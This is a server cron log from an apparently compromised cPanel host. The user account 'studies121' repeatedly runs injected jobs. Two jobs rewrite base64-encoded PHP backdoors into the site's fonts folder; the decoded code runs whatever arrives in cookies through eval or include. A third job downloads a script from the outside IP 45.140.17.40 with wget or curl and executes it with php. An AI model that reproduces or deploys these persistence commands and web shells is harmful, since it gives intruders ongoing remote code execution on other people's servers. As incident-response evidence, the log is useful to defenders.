Sep 22 01:02:01 ip-184-168-122-23 CROND[16747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:02:01 ip-184-168-122-23 CROND[16746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:02:01 ip-184-168-122-23 CROND[16749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:02:01 ip-184-168-122-23 CROND[16748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:03:01 ip-184-168-122-23 CROND[16845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:03:01 ip-184-168-122-23 CROND[16847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:03:01 ip-184-168-122-23 CROND[16849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:03:01 ip-184-168-122-23 CROND[16848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:04:01 ip-184-168-122-23 CROND[17040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:04:01 ip-184-168-122-23 CROND[17042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:04:01 ip-184-168-122-23 CROND[17043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:04:01 ip-184-168-122-23 CROND[17045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:04:01 ip-184-168-122-23 CROND[17044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:05:01 ip-184-168-122-23 CROND[17150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:05:01 ip-184-168-122-23 CROND[17152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:05:01 ip-184-168-122-23 CROND[17154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:05:01 ip-184-168-122-23 CROND[17156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:05:01 ip-184-168-122-23 CROND[17158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:05:01 ip-184-168-122-23 CROND[17155]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 01:05:01 ip-184-168-122-23 CROND[17159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:06:01 ip-184-168-122-23 CROND[17262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:06:01 ip-184-168-122-23 CROND[17267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:06:01 ip-184-168-122-23 CROND[17265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:06:01 ip-184-168-122-23 CROND[17264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:06:01 ip-184-168-122-23 CROND[17266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:07:01 ip-184-168-122-23 CROND[17386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:07:01 ip-184-168-122-23 CROND[17387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:07:01 ip-184-168-122-23 CROND[17388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:07:01 ip-184-168-122-23 CROND[17389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:08:01 ip-184-168-122-23 CROND[17511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:08:01 ip-184-168-122-23 CROND[17512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:08:01 ip-184-168-122-23 CROND[17514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:08:01 ip-184-168-122-23 CROND[17515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:08:01 ip-184-168-122-23 CROND[17516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:09:01 ip-184-168-122-23 CROND[17612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:09:01 ip-184-168-122-23 CROND[17614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:09:01 ip-184-168-122-23 CROND[17616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:09:01 ip-184-168-122-23 CROND[17617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:09:01 ip-184-168-122-23 CROND[17615]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 01:10:01 ip-184-168-122-23 CROND[17724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 01:10:01 ip-184-168-122-23 CROND[17725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:10:01 ip-184-168-122-23 CROND[17726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:10:01 ip-184-168-122-23 CROND[17728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:10:01 ip-184-168-122-23 CROND[17727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:10:01 ip-184-168-122-23 CROND[17731]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:10:01 ip-184-168-122-23 CROND[17736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:10:01 ip-184-168-122-23 CROND[17738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:11:01 ip-184-168-122-23 CROND[17843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:11:01 ip-184-168-122-23 CROND[17844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:11:01 ip-184-168-122-23 CROND[17846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:11:01 ip-184-168-122-23 CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:12:01 ip-184-168-122-23 CROND[17993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:12:01 ip-184-168-122-23 CROND[17992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:12:01 ip-184-168-122-23 CROND[17994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:12:01 ip-184-168-122-23 CROND[17995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:12:01 ip-184-168-122-23 CROND[17996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:13:01 ip-184-168-122-23 CROND[18193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:13:01 ip-184-168-122-23 CROND[18194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:13:01 ip-184-168-122-23 CROND[18197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:13:01 ip-184-168-122-23 CROND[18196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:14:01 ip-184-168-122-23 CROND[18308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:14:01 ip-184-168-122-23 CROND[18310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
